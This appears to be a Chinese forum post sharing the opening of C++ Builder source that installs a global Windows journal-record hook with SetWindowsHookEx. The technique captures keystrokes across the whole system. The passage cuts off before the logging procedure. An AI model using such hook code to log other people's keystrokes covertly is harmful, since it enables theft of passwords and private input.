日志钩子代码如下,你慢慢品味吧:
//-----------.cpp 文件
//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#pragma hdrstop
#include "KeyHookU.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmLogHook *frmLogHook;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
//钩子变量
HHOOK g_hLogHook=NULL;
//记录上一次得到焦点的窗口句柄
HWND g_hLastFocus=NULL;
//键盘掩码变量
const int KeyPressMask=0x80000000;
//保存上一次按键值
//char g_PrvChar;
//---------------------------------------------------------------------------
__fastcall TfrmLogHook::TfrmLogHook(TComponent* Owner)
;;;;;;;;: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnInstallClick(TObject *Sender)
{
;;;;;;;;if(g_hLogHook==NULL)
;;;;;;;;;;;;;;;;//安装日志钩子
;;;;;;;;;;;;;;;;g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,HInstance,0);
}
//---------------------------------------------------------------------------
void __fastcall TfrmLogHook::btnUninstallClick(TObject *Sender)
{
;;;;;;;;if(g_hLogHook!=NULL)